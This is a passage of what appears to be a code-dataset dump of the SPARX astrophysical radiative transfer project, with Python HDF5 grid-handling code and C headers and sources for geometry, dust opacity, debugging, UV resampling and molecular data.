self.kapp_d[pos]\n\t\t\t\tzone[\"T_ff\"] = self.T_ff[pos]\n\t\t\t\tzone[\"kapp_ff\"] = self.kapp_ff[pos]\n\t\t\t\tzone[\"T_bb\"] = self.T_bb[pos]\n\t\t\t\tzone.append()\n\n\t\t\ttable = h5f.create_table(root, 'ZONE', Zone, \"Grid table\")\n\t\t\tzone = table.row\n\t\t\tzone[\"LEVEL\"] = -1\n\t\t\tzone[\"POS\"] = 0\n\t\t\tzone[\"geom\"] = self.geomstr\n\t\t\tzone[\"X_max\"] = np.array(self.max)\n\t\t\tzone[\"X_min\"] = np.array(self.min)\n\t\t\tzone[\"X_cen\"] = np.array(self.cen)\n\t\t\tzone[\"NCHILDREN\"] = reduce(lambda x, y: x * y, self.shape)\n\t\t\tzone[\"NAXES\"] = np.array(self.shape)\n\t\t\tzone.append()\n\t\treturn\n\n\tdef write_ratran(self, fname):\n\t\tfrom sparx.physics import Units as u\n\t\twith open(fname, \"w\") as f:\n\t\t\trmax = self.max[0] * u.pc\n\t\t\tncell = self.shape[0]\n\t\t\tf.write(\"rmax={:.5e}\\n\".format(rmax))\n\t\t\tf.write(\"ncell={}\\n\".format(ncell))\n\t\t\tf.write(\"tcmb={:f}\\n\".format(self.T_cmb))\n\t\t\tf.write(\"columns=id,ra,rb,nh,nm,tk,td,db,vr\\n\")\n\t\t\tf.write(\"gas:dust={:f}\\n\".format(self.gas_to_dust))\n\t\t\tf.write(\"@\\n\")\n\t\t\tfor i in xrange(self.shape[0]):\n\t\t\t\tpos = (i,0,0)\n\t\t\t\tf.write(\"{:5}\".format(i + 1))\n\t\t\t\tf.write(\" {:.9e}\".format(self.min_i[pos] * u.pc)) # pc -> m\n\t\t\t\tf.write(\" {:.9e}\".format(self.max_i[pos] * u.pc)) # pc -> m\n\t\t\t\tf.write(\" {:.9e}\".format(self.n_H2[pos] * 1e-6)) # m^-3 -> cm^-3\n\t\t\t\tf.write(\" {:.9e}\".format(self.n_H2[pos] * self.X_mol[pos] * 1e-6)) # m^-3 -> cm^-3\n\t\t\t\tf.write(\" {:.9e}\".format(self.T_k[pos])) # K\n\t\t\t\tf.write(\" {:.9e}\".format(self.T_d[pos])) # K\n\t\t\t\tf.write(\" {:.9e}\".format(self.V_t[pos] * 1.0e-3)) # m/s -> km/s\n\t\t\t\tf.write(\" {:.9e}\".format(self.V_i[pos] * 1.0e-3)) # m/s -> km/s\n\t\t\t\tf.write(\"\\n\")\n\t\treturn\n\n################################################################################\n\n# Grid_sph1d subclass\nclass Grid_sph1d(Grid):\n\tdef __init__(self, nshell, r_max, **kwargs):\n\t\tfrom sparx.physics import Const as C\n\t\tsuper(Grid_sph1d, self).__init__(\"sph1d\", (nshell, 1, 1), (0, 0, 0), (r_max, C.pi, 2.0*C.pi), **kwargs)\n\n################################################################################\n\n# Grid_rec3d subclass\nclass Grid_rec3d(Grid):\n\tdef __init__(self, shape, dims, **kwargs):\n\t\tsuper(Grid_rec3d, self).__init__(\"rec3d\", shape, (0, 0, 0), dims, **kwargs)\n\n################################################################################\n\nclass SPARXH5(object):\n\t\"\"\"\n\tSPARXH5: interface to sparx model files\n\t\"\"\"\n\tdef __init__(self, fname):\n\t\t# Remember filename\n\t\tself.fname = fname\n\n\t\t# Open file\n\t\tfrom tables import openFile\n\t\tself.h5f = openFile(fname)\n\n\t\t# Load parameters for root zone (although there is only one\n\t\t# row in the ZONE table, it still has to be loaded this way)\n\t\t#self.root = [i for i in self.h5f.root.ZONE][0] --> deprecated in newer versions?\n\t\tself.root = self.h5f.root.ZONE[0]\n\t\tself.shape = list(self.root['NAXES'])\n\t\tself.naxis = len(self.shape)\n\t\tassert self.naxis == 3\n\n\t\t# Get coordinate system\n\t\tself.coord = self.root['geom']\n\t\tassert self.coord in GEOM_DICT\n\n\t\t# Get total number of zones (rows)\n\t\tself.nzone = reduce(lambda x,y: x*y, self.shape)\n\n\t\t# Get dimensions\n\t\tself.X_max = [i for i in self.root['X_max']]\n\t\tself.X_min = [i for i in self.root['X_min']]\n\t\tself.X_cen = [i for i in self.root['X_cen']]\n\t\tself.X_delta = [(self.X_max[i] - self.X_min[i]) / self.shape[i] for i in range(self.naxis)]\n\n\t\t# Get central position and number of radial data points\n\t\tself.center = [i // 2 for i in self.shape]\n\t\tself.nradial = self.shape[0] // 2\n\n\t\t# Get grid table\n\t\tself.grid_table = getattr(self.h5f.root, \"GRID\")\n\n\t\t# Get pops table if available\n\t\tif hasattr(self.h5f.root, \"POPS\"):\n\t\t\tself.pops_table = getattr(self.h5f.root, \"POPS\")\n\t\telse:\n\t\t\tself.pops_table = None\n\n\t\t# Get tau table if available\n\t\tif hasattr(self.h5f.root, \"TAU\"):\n\t\t\tself.tau_table = getattr(self.h5f.root, \"TAU\")\n\t\telse:\n\t\t\tself.tau_table = None\n\t\treturn\n\n\tdef GetParmData(self, parm, index=0):\n\t\t# Identify correct table to load\n\t\tfrom re import match\n\t\tm_lev = match(\"lev([0-9]+)\", parm)\n\t\tm_tau = match(\"tau([0-9]+)\", parm)\n\t\tif m_lev is not None:\n\t\t\ttable = self.pops_table\n\t\telif m_tau is not None:\n\t\t\ttable = self.tau_table\n\t\t\tparm = \"line\"+m_tau.group(1)\n\t\telse:\n\t\t\ttable = self.grid_table\n\n\t\t# Load table data\n\t\ttry:\n\t\t\tdata = [i[parm][index] for i in table]\n\t\texcept TypeError:\n\t\t\tdata = [i[parm] for i in table]\n\n\t\treturn data\n\n\tdef GetSlice(self, slice_axis, slice_index, parm, index=0):\n\t\t'''Get slice at (slice_axis, slice_index)'''\n\t\tfrom numpy import ndarray\n\t\t# Get data cube\n\t\tdata = self.GetParmData(parm, index)\n\n\t\t# Get shape of slice and init slice array\n\t\tshape = self.shape\n\t\tshape.pop(slice_axis)\n\t\tslice = ndarray(shape)\n\n\t\t# Iterate over slice and load values\n\t\tfor i in ndindex(self.shape[0], self.shape[1]):\n\t\t\tindex = [j for j in i]\n\t\t\tindex.insert(slice_axis, slice_index)\n\t\t\tslice[i] = data[index[2] + naxes[2] * (index[1] + naxes[1] * index[0])]\n\t\treturn slice\n\n\tdef GetPixel(self, pixel_axis, pixel_pos, parm, index=0):\n\t\t'''Get pixel at (pixel_axis, pixel_pos)'''\n\t\tfrom numpy import ndarray\n\t\t# Get data table\n\t\tdata = self.GetParmData(parm, index)\n\n\t\t# Get shape of slice and init slice array\n\t\tshape = self.shape\n\t\tnpix = shape[slice_axis]\n\t\tpixel = ndarray([npix])\n\n\t\t# Iterate over slice and load values\n\t\tfor i in range(npix):\n\t\t\tindex = [pixel_pos[0], pixel_pos[1]]\n\t\t\tindex.insert(pixel_axis, i)\n\t\t\tpixel[i] = data[index[2] + naxes[2] * (index[1] + naxes[1] * index[0])]\n\t\treturn pixel\n\n\tdef GetRadii(self):\n\t\t\"\"\"\n\t\tGer array of radial coordinates in [pc]\n\t\t\"\"\"\n\t\tfrom numpy import array\n\t\tif self.coord == SPH1D:\n\t\t\treturn array([i['X_cen'][0] for i in self.grid_table])\n\n\t\telif self.coord == REC3D:\n\t\t\tdelta = self.X_delta[0]\n\t\t\treturn array([delta * (i + 0.5) for i in range(self.nradial)])\n\n\tdef GetRadial(self, parm, index=0):\n\t\t\"\"\"\n\t\tGet array of radial physical parameters\n\t\t\"\"\"\n\t\timport numpy as np\n\t\t# Get data cube\n\t\tdata = self.GetParmData(parm, index)\n\t\tif self.coord == SPH1D:\n\t\t\treturn np.array(data)\n\t\t\t\n\t\telif self.coord == REC3D:\n\t\t\t# Get zone positions\n\t\t\tXcen = self.GetParmData(\"X_cen\", 0)\n\t\t\tYcen = self.GetParmData(\"X_cen\", 1)\n\t\t\tZcen = self.GetParmData(\"X_cen\", 2)\n\t\t\tn_H2 = self.GetParmData(\"n_H2\")\n\n\t\t\t# Generate list of radii\n\t\t\trmax = (self.X_max[0] - self.X_min[0]) / 2.0\n\t\t\tdelta = rmax / self.nradial\n\t\t\tradii = np.array([i * delta for i in range(self.nradial)])\n\n\t\t\t# Init radial data array\n\t\t\tradial = np.zeros(self.nradial)\n\t\t\tnavg = np.zeros(self.nradial)\n\n\t\t\t# Get averaged data\n\t\t\tfrom numpy import ndindex\n\t\t\tfor i in ndindex(self.shape[0], self.shape[1], self.shape[2]):\n\t\t\t\t# Get location in table for current grid position\n\t\t\t\tarrpos = i[2] + self.shape[2] * (i[1] + self.shape[1] * i[0])\n\n\t\t\t\t# Calculate distance from center\n\t\t\t\tdx = Xcen[arrpos] - self.X_cen[0]\n\t\t\t\tdy = Ycen[arrpos] - self.X_cen[1]\n\t\t\t\tdz = Zcen[arrpos] - self.X_cen[2]\n\t\t\t\tr = sqrt(dx**2 + dy**2 + dz**2)\n\t\t\t\trpos = np.searchsorted(radii, r) - 1\n\n\t\t\t\t# If within bounds, search for position in radial array\n\t\t\t\tif rpos < self.nradial and n_H2[arrpos] > 0:\n\t\t\t\t\tradial[rpos] += data[arrpos]\n\t\t\t\t\tnavg[rpos] += 1\n\n\t\t\t# Calculate average\n\t\t\tfor i in range(self.nradial):\n\t\t\t\tif navg[i] > 0:\n\t\t\t\t\tradial[i] /= navg[i]\n\t\t\treturn radial\n\n\tdef Close(self):\n\t\tself.h5f.close()\n\t\treturn\n\n\tdef __del__(self):\n\t\tself.Close()\n\t\treturn\n\n" }, { "alpha_fraction": 0.6016564965248108, "alphanum_fraction": 0.6330676674842834, "avg_line_length": 29.75, "blob_id": "9ce4b7e87e0e574467c373d3e644ab301a7e1e9a", "content_id": "651e2be96c85926f38adccddd3d30488609f78ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6399, "license_type": "no_license", "max_line_length": 106, "num_lines": 208, "path": "/src/geometry.h", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#ifndef __GEOMETRY_H__\n#define __GEOMETRY_H__\n\n/* The geometry.c/.h interface provides geometrical objects,\n * basic vector operations, and ray tracing operations. */\n\n#include <stdlib.h>\n#include <gsl/gsl_rng.h>\n#include \"data_structs.h\"\n\nenum {\n\tGEOM_SPH1D,\n\tGEOM_REC3D\n};\n\nextern DatINode GEOM_TYPES[];\n\ntypedef struct GeVec3_i {\n\tint x[3];\n} GeVec3_i;\n\ntypedef struct GeVec3_s {\n\tsize_t x[3];\n} GeVec3_s;\n\ntypedef struct GeVec3_d {\n\tdouble x[3];\n} GeVec3_d;\n\ntypedef struct GeMat3_d {\n\tdouble m[3 * 3];\n} GeMat3_d;\n\ntypedef struct GeVox {\n\t/* Remember to update GeVox_INIT and GeVox_Get_subvox() if the\n\t * GeVox struct changes!!! */\n\tint geom;\n\tGeVec3_d delta, min, max, cen;\n} GeVox;\n\n/*\n * Graphical representation of a voxel:\n *\n Z\n\t |\n\t |\n\t | /\n\t 4----------7\n\t /| / /|\n\t / | / / |\n\t / | / / |\n\t5----------6 | \n--------|---0------|---3---------Y\n\t| /| | /\n\t| / | | /\n\t|/ | |/\n\t1----------2\n / |\n / |\n /\n X\n\n*/\n\ntypedef struct GeCam {\n\tGeVec3_d min, max, phi;\n} GeCam;\n\n#define GeCam_INIT(phix, phiy, phiz) {\\\n\tGeVec3_INIT(0, 0, 0),\\\n\tGeVec3_INIT(0, 0, 0),\\\n\tGeVec3_INIT(phix, phiy, phiz)\\\n}\n\ntypedef struct GeRay {\n\tGeVec3_d e, d, tMax, tDelta;\n\tGeVec3_s pos;\n\tdouble t;\n} GeRay;\n\n#define RayAW_INIT(ex, ey, ez, dx, dy, dz) {\\\n\tGeVec3_INIT((ex), (ey), (ez)),\\\n\tGeVec3_INIT((dx), (dy), (dz)),\\\n\tGeVec3_INIT(0, 0, 0),\\\n\t0\\\n}\n\n#define GeMat3_INIT(ii, ij, ik, ji, jj, jk, ki, kj, kk)\\\n\t{{(ii), (ij), (ik), (ji), (jj), (jk), (ki), (kj), (kk)}}\n\n#define GeMat3_X(mat, i, j)\\\n\t(mat).m[(j)+3*(i)]\n\n/* The GeVec3_* init macro */\n#define GeVec3_INIT(x1, x2, x3)\\\n\t{{(x1), (x2), (x3)}}\n\n#define GeVec3_PRINT(fp, vec)\\\n\t{fprintf((fp), \"<%g, %g, %g>\", (double)(vec).x[0], (double)(vec).x[1], (double)(vec).x[2]);}\n\n#define GeVec3_X(vec, axis)\\\n\t((vec).x[(axis)])\n\n#define GeVec3_TOARGS(vec)\\\n ((vec).x[0]), ((vec).x[1]), ((vec).x[2])\n\n#define GeRay_INIT(e1, e2, e3, d1, d2, d3) {\\\n\tGeVec3_INIT((e1), (e2), (e3)), /* origin */\\\n\tGeVec3_INIT((d1), (d2), (d3)), /* direction */\\\n\tGeVec3_INIT(0.0, 0.0, 0.0), /* tMax */\\\n\tGeVec3_INIT(0.0, 0.0, 0.0), /* tDelta */\\\n\tGeVec3_INIT(0, 0, 0), /* pos */\\\n\t0.0 /* t */\\\n}\n\n#define GeRay_D(ray, i)\\\n\t(GeVec3_X((ray).d, (i)))\n\n#define GeRay_E(ray, i)\\\n\t(GeVec3_X((ray).e, (i)))\n\n/* The voxel init macro */\n#define GeVox_INIT(geom, xmin, ymin, zmin, xmax, ymax, zmax)\\\n\t{\\\n\t\t(geom),\\\n\t\tGeVec3_INIT(\\\n\t\t\t(xmax) - (xmin), /* dx */ \\\n\t\t\t(ymax) - (ymin), /* dy */ \\\n\t\t\t(zmax) - (zmin) /* dz */ \\\n\t\t),\\\n\t\tGeVec3_INIT((xmin), (ymin), (zmin)), /* Min position */ \\\n\t\tGeVec3_INIT((xmax), (ymax), (zmax)), /* Max position */ \\\n\t\tGeVec3_INIT(\\\n\t\t\t(xmin) + ((xmax) - (xmin)) * 0.5, /* Center */ \\\n\t\t\t(ymin) + ((ymax) - (ymin)) * 0.5,\\\n\t\t\t(zmin) + ((zmax) - (zmin)) * 0.5\\\n\t\t)\\\n\t}\n\n#define GeVox_FPRINTF(fp, voxel)\\\n\t fprintf(fp, \"min: \"); GeVec3_PRINT(fp, voxel.min); fprintf(fp, \"\\n\");\\\n\t fprintf(fp, \"max: \"); GeVec3_PRINT(fp, voxel.max); fprintf(fp, \"\\n\");\\\n\t fprintf(fp, \"cen: \"); GeVec3_PRINT(fp, voxel.cen); fprintf(fp, \"\\n\");}\n\n#define Geom_CodeToName(geom)\\\n\t(Dat_IList_IdxLookup(GEOM_TYPES, (geom))->name)\nGeVec3_d GeVec3_d_Init(double x, double y, double z);\nGeVec3_s GeVec3_s_Init(size_t x, size_t y, size_t z);\ndouble GeVec3_Mag(const GeVec3_d *a);\ndouble GeVec3_Mag2(const GeVec3_d *a, const GeVec3_d *b);\nGeVec3_d GeVec3_Add(const GeVec3_d *a, const GeVec3_d *b);\nGeVec3_d GeVec3_Sub(const GeVec3_d *a, const GeVec3_d *b);\nGeVec3_d GeVec3_Normalize(const GeVec3_d *a);\nGeVec3_d GeVec3_Scale(const GeVec3_d *a, double fac);\nGeVec3_d GeVec3_InterpLinear(const GeVec3_d *xa, const GeVec3_d *xb, const GeVec3_d *a, \n\tconst GeVec3_d *b, const GeVec3_d *pos);\ndouble GeVec3_DotProd(const GeVec3_d *a, const GeVec3_d *b);\nGeVec3_d GeVec3_MatOp(const GeVec3_d *vec, const GeMat3_d *mat);\nGeVec3_d GeVec3_Rotate_x(const GeVec3_d *vec, double phi);\nGeVec3_d GeVec3_Rotate_y(const GeVec3_d *vec, double phi);\nGeVec3_d GeVec3_Rotate_z(const GeVec3_d *vec, double phi);\nGeVec3_d GeVec3_Rotate(const GeVec3_d *vec, const GeCam *cam);\n\nint point_in_voxel2(const GeVec3_d *pt, const GeVox *voxel, size_t axis);\n\nsize_t Ge_PosToIelem(size_t i, size_t j, size_t k, const GeVec3_s *naxes);\nsize_t Ge_IndexToIelem(const GeVec3_s *idx, const GeVec3_s *naxes);\n\nGeVec3_s Ge_IelemToIndex(size_t ielem, const GeVec3_s *naxes);\nGeVox GeVox_GetSubVox(const GeVox *voxel, const GeVec3_s *idx, const GeVec3_s *naxes);\n\nGeCam GeCam_Init(double phix, double phiy, double phiz);\n\nvoid GeRay_AWInit(GeRay *ray, const GeVox *voxel);\nvoid GeRay_AWTraverse(GeRay *ray, double *tmin, size_t *plane);\nGeVec3_d GeRay_AWPos(const GeRay *ray);\n\nGeRay GeRay_Init(double ex, double ey, double ez, double dx, double dy, double dz);\ndouble GeRay_IntersectPlane(const GeRay *ray, const GeVec3_d *n, const GeVec3_d *q);\nvoid GeRay_IntersectSphere(const GeRay *ray, double r, double *t1, double *t2);\nGeRay GeRay_Inc(const GeRay *ray, double t);\nGeRay GeRay_Rotate(const GeRay *ray, int axis, double phi);\nint GeRay_IntersectVoxel(const GeRay *ray, const GeVox *voxel, double *tmin, size_t *side);\nint GeRay_IntersectVoxel_sph1d(const GeRay *ray, const GeVox *voxel, double *tmin, size_t *side);\nint GeRay_IntersectVoxel_rec3d(const GeRay *ray, const GeVox *voxel, double *tmin, size_t *side);\nvoid GeRay_TraverseVoxel(const GeRay *ray, const GeVox *voxel, double *tmin, size_t *side);\nvoid GeRay_TraverseVoxel_sph1d(const GeRay *ray, const GeVox *voxel, double *tmin, size_t *side);\nvoid GeRay_TraverseVoxel_rec3d(const GeRay *ray, const GeVox *voxel, double *tmin, size_t *side);\nGeRay GeRay_Rand(gsl_rng *rng, const GeVox *voxel);\nGeRay GeRay_Rand_sph1d(gsl_rng *rng, const GeVox *voxel);\nGeRay GeRay_Rand_rec3d(gsl_rng *rng, const GeVox *voxel);\n\nvoid GeVec3_Cpgpt1(const GeVec3_d *vec, int sty, const GeCam *cam);\nvoid GeVec3_Cpgline2(const GeVec3_d *v1, const GeVec3_d *v2, const GeCam *cam);\nvoid GeVec3_Cpgarro2(const GeVec3_d *v1, const GeVec3_d *v2, const GeCam *cam);\n\nsize_t GeVox_VertIndex2Pos(size_t i, size_t j, size_t k);\nvoid GeVox_Cpgenv(const GeVox *voxel);\nvoid GeVox_Cpgplot(const GeVox *voxel, const GeCam *cam);\n\nvoid GeRay_Cpgarro(const GeRay *ray, const GeCam *cam);\n\nGeVox GeVox_Init(int cosys, double xmin, double ymin, double zmin, double xmax, double ymax, double zmax);\nGeVox GeVox_Init2(int cosys, GeVec3_d min, GeVec3_d max);\n\ndouble GeRay_get_phis(const GeRay *ray);\n\n#endif\n\n\n\n" }, { "alpha_fraction": 0.5185792446136475, "alphanum_fraction": 0.534426212310791, "avg_line_length": 24.02054786682129, "blob_id": "631b6ebd8fa942c7a0f22e878898cd60887cf9c6", "content_id": "a5b3a4796b86cb9953eb870dd9aa4d142152b5b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3660, "license_type": "no_license", "max_line_length": 86, "num_lines": 146, "path": "/src/kappa.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <string.h>\n#include <math.h>\n#include <assert.h>\n\n#include \"error.h\"\n#include \"memory.h\"\n#include \"numerical.h\"\n#include \"kappa.h\"\n#include \"debug.h\"\n\n#include \"physics.h\"\n#define Kap_LIGHTC_MKS PHYS_CONST_MKS_LIGHTC\n\nstatic double Kap_FromFreq_table(const Kappa *kap, double freq);\nstatic double Kap_FromFreq_plaw(const Kappa *kap, double freq);\n\n/*----------------------------------------------------------------------------*/\n\nKappa *Kap_New_Powerlaw(double freq_0, double kappa_0, double index)\n{\n\tKappa *kap = Mem_CALLOC(1, kap);\n\n\tDeb_ASSERT(freq_0 > 0);\n\n\tkap->type = Kap_POWERLAW;\n\tkap->name = Mem_Sprintf(\"powerlaw,%10.3e,%10.3e,%10.3e\", freq_0, kappa_0, index);\n\tkap->freq_0 = freq_0;\n\tkap->kappa_0 = kappa_0;\n\tkap->index = index;\n\n\treturn kap;\n}\n\n/*----------------------------------------------------------------------------*/\n\nKappa *Kap_New_Table(const char *name, const char *fname, FILE *fp)\n{\n\tKappa *kap = Mem_CALLOC(1, kap);\n\tchar buffer[BUFSIZ];\n\tdouble c = Kap_LIGHTC_MKS, /* Speed of light in vacuum in MKS units */\n\t um = 1.0e-6; /* 1 micron in meters */\n\tsize_t row_id, ncol;\n\n\t/* Set opacity type */\n\tkap->type = Kap_TABLE;\n\tkap->name = Mem_Sprintf(\"table,%s\", name);\n\tkap->fname = Mem_STRDUP(fname);\n\tkap->nrows = 0;\n\n\twhile(fgets(buffer, BUFSIZ, fp)) {\n\t\tkap->nrows += 1;\n\t\tkap->freq = Mem_REALLOC(kap->nrows, kap->freq);\n\t\tkap->lambda = Mem_REALLOC(kap->nrows, kap->lambda);\n\t\tkap->kappa = Mem_REALLOC(kap->nrows, kap->kappa);\n\n\t\tkap->loglam = Mem_REALLOC(kap->nrows, kap->loglam);\n\t\tkap->logkap = Mem_REALLOC(kap->nrows, kap->logkap);\n\n\t\trow_id = kap->nrows - 1;\n\t\tncol = (size_t)sscanf(buffer, \"%lf %lf\", &kap->lambda[row_id], &kap->kappa[row_id]);\n\t\tDeb_ASSERT(ncol == 2);\n\t\tDeb_ASSERT(kap->lambda[row_id] > 0);\n\n\t\tkap->lambda[row_id] *= um; /* um -> m */\n\t\tkap->freq[row_id] = c / kap->lambda[row_id]; /* nu = c / lambda */\n\t\tkap->kappa[row_id] *= 0.1; /* cm^2 g^-1 -> m^2 kg^-1 */\n\n\t\t/* Calculate log10 values (for interpolation) */\n\t\tDeb_ASSERT(kap->lambda[row_id] > 0);\n\t\tDeb_ASSERT(kap->freq[row_id] > 0);\n\t\tDeb_ASSERT(kap->kappa[row_id] > 0);\n\n\t\tkap->loglam[row_id] = log10(kap->lambda[row_id]);\n\t\tkap->logkap[row_id] = log10(kap->kappa[row_id]);\n\t};\n\n\treturn kap;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Kap_Free(void *ptr)\n{\n\tKappa *kap = ptr;\n\n\t#define FREE(p)\\\n\t\tif(kap->p) { free(kap->p); }\n\n\tif(kap) {\n\t\tFREE(name);\n\t\tFREE(fname);\n\t\tFREE(freq);\n\t\tFREE(lambda);\n\t\tFREE(kappa);\n\t\tFREE(loglam);\n\t\tFREE(logkap);\n\t\tfree(kap);\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble Kap_FromFreq(const Kappa *kap, double freq)\n{\n\tswitch(kap->type) {\n\t\tcase Kap_POWERLAW:\n\t\t\treturn Kap_FromFreq_plaw(kap, freq);\n\n\t\tcase Kap_TABLE:\n\t\t\treturn Kap_FromFreq_table(kap, freq);\n\n\t\tdefault:\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\treturn HUGE_VAL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic double Kap_FromFreq_plaw(const Kappa *kap, double freq)\n{\n\tDeb_ASSERT(kap->type == Kap_POWERLAW);\n\tDeb_ASSERT((kap->freq_0 > 0) && (freq > 0));\n\n\treturn kap->kappa_0 * pow(freq / kap->freq_0, kap->index);\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic double Kap_FromFreq_table(const Kappa *kap, double freq)\n{\n\tDeb_ASSERT(kap->type == Kap_TABLE);\n\tDeb_ASSERT(freq > 0);\n\n\tdouble loglam = log10(Kap_LIGHTC_MKS / freq), logkap;\n\n\tlogkap = Num_InterpPoly(loglam, kap->loglam, kap->logkap, kap->nrows, (size_t)3);\n\n\treturn pow(10.0, logkap);\n}\n\n/*----------------------------------------------------------------------------*/\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6215895414352417, "alphanum_fraction": 0.627520740032196, "avg_line_length": 21.756755828857422, "blob_id": "8a980f3fb6da1e8b9c772391fece409a098ec426", "content_id": "322d052d93d83ddf05977642f9cb9a48a2a6aaf3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 843, "license_type": "no_license", "max_line_length": 80, "num_lines": 37, "path": "/src/debug.h", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#ifndef __DEBUG_H__\n#define __DEBUG_H__\n\n/* void Deb_Sleep(double secs); esc 25Dec08 */\nvoid Deb_Fprintf(FILE *fp, const char *file, int line, const char *format, ...);\nvoid Deb_Pausef(const char *file, int line);\nextern FILE *Deb_FP;\n\n#define Deb_FNAME \"debug.log\"\n\n#ifndef Deb_EN\n#define Deb_EN 1\n#endif\n\n#define Deb_PRINT(...) \\\n\tDeb_Fprintf(stderr, __FILE__, __LINE__, __VA_ARGS__)\n\n#define Deb_PAUSE() \\\n\tDeb_Pausef(__FILE__, __LINE__)\n\n#if Deb_EN\n#define Deb_P(...)\\\n\t{ if(!Deb_FP) { Deb_FP=fopen(Deb_FNAME, \"w\"); } fprintf(Deb_FP, __VA_ARGS__); }\n#else\n#define Deb_P(...)\n#endif\n\n#define Deb_Finalize()\\\n\t{ if(Deb_FP) { fclose(Deb_FP); Deb_FP = NULL; } }\n\n#endif\n\n/* Apparently assert() from assert.h does not work in Python extension\n * modules\n */\n#define Deb_ASSERT(expr)\\\n\t{if(!(expr)) {Deb_PRINT(\"Assertion failed\\n\"); abort();}}\n\n" }, { "alpha_fraction": 0.4560723602771759, "alphanum_fraction": 0.4593023359775543, "avg_line_length": 29.019607543945312, "blob_id": "92772d8c376a07db860aa89be1df1abf73154196", "content_id": "7d127523d814145087710100389aec02fff45175", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1548, "license_type": "no_license", "max_line_length": 85, "num_lines": 51, "path": "/src/sparx-task-uvsamp.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n\n/* Global parameter struct */\nstatic struct glb {\n\tMirImg_Axis x, y, v;\n\tMirImg *img;\n\tchar *bunit;\n\tMirFile *xyin, *uvin, *uvout;\n} glb;\n\nint SpTask_UVSamp(void)\n{\n\tint status = 0;\n\n\t/* Inputs --------------------------------------------------------------------*/\n\tMem_BZERO(&glb);\n\tglb.xyin = SpInp_GetKey_mirxy_old(\"xyin\", &glb.x.n, &glb.y.n, &glb.v.n);\n\tglb.uvin = SpInp_GetKey_miruv_old(\"uvin\");\n\tglb.uvout = SpInp_GetKey_miruv_new(\"uvout\");\n\t/*----------------------------------------------------------------------------*/\n\n\t/* Calculate uv-dataset sampled from image -----------------------------------*/\n\t/* Read image into memory */\n\tglb.img = MirImg_Alloc(glb.x, glb.y, glb.v);\n\tMirImg_ReadXY(glb.xyin, glb.img, &glb.bunit);\n\n\t/* Sanity check */\n\tif(glb.img->restfreq <= 0) {\n\t\tstatus = Err_SETSTRING(\"Rest frequency in image `%s' must be > 0\", glb.xyin->name);\n\t}\n\telse if(glb.img->v.delt <= 0) {\n\t\tstatus = Err_SETSTRING(\"Channel width in image `%s' must be > 0\", glb.xyin->name);\n\t}\n\telse {\n\t\t/* Do UV-resampling */\n\t\tMirImg_UVResamp(glb.img, glb.uvin, glb.uvout);\n\t}\n\n\tif(!status) {\n\t\tSp_PRINT(\"Wrote UV-sampled visibilities to `%s'\\n\", glb.uvout->name);\n\t}\n\t/*----------------------------------------------------------------------------*/\n\n\t/* Cleanup -------------------------------------------------------------------*/\n\tMirXY_Close(glb.xyin);\n\tMirUV_Close(glb.uvin);\n\tMirUV_Close(glb.uvout);\n\t/*----------------------------------------------------------------------------*/\n\n\treturn status;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5294450521469116, "alphanum_fraction": 0.5422663688659668, "avg_line_length": 25.84966278076172, "blob_id": "327285b834ceecd7a466c6c672152da99cc11daa", "content_id": "849ac726b75d82e301a0b43af85bfc67057e4057", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 15911, "license_type": "no_license", "max_line_length": 132, "num_lines": 592, "path": "/src/molec.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <math.h>\n#include <assert.h>\n\n#include \"error.h\"\n#include \"memory.h\"\n#include \"molec.h\"\n#include \"debug.h\"\n\nstatic char *_get_nline_rel(FILE *fp, size_t nline);\nstatic char *_get_nline(FILE *fp, size_t nline);\n\n#define get_nline_rel(fp, nline)\\\n\t_get_nline_rel((fp), (size_t)nline)\n\n#define get_nline(fp, nline)\\\n\t_get_nline((fp), (size_t)nline)\n\nconst char *Mol_species[6] = {\n\t\"H2\", \"p-H2\", \"o-H2\", \"e\", \"H\", \"He\"\n};\n\nconst char **Mol_species_p = Mol_species;\n\n/*----------------------------------------------------------------------------*/\n\nstatic char *_get_nline_rel(FILE *fp, size_t nline)\n{\n static char buffer[BUFSIZ] = \"\";\n char *sptr = buffer;\n size_t i;\n\n for(i = 0; sptr && i < nline; i++)\n sptr = fgets(buffer, BUFSIZ, fp);\n\n return sptr;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic char *_get_nline(FILE *fp, size_t nline)\n{\n rewind(fp);\n\n return get_nline_rel(fp, nline);\n}\n\n/*----------------------------------------------------------------------------*/\n\nMolec *Mol_Alloc(size_t nlev)\n/* Allocate a bare-bones molecule that contains only level information */\n{\n\tsize_t i;\n\tMolec *mp = Mem_CALLOC(1, mp);\n\n\tmp->nlev = nlev;\n\tmp->lev = Mem_CALLOC(nlev, mp->lev);\n\n\tfor(i = 0; i < nlev; i++) {\n\t\tmp->lev[i] = Mem_CALLOC(1, mp->lev[i]);\n\t}\n\n\treturn mp;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Mol_AllocRad(Molec *molec, size_t nrad)\n/* Allocate radiative transitions for molec */\n{\n\tsize_t i;\n\tDeb_ASSERT(molec->rad == NULL);\n\n\tmolec->nrad = nrad;\n\tmolec->rad = Mem_CALLOC(nrad, molec->rad);\n\n\tfor(i = 0; i < nrad; i++) {\n\t\tmolec->rad[i] = 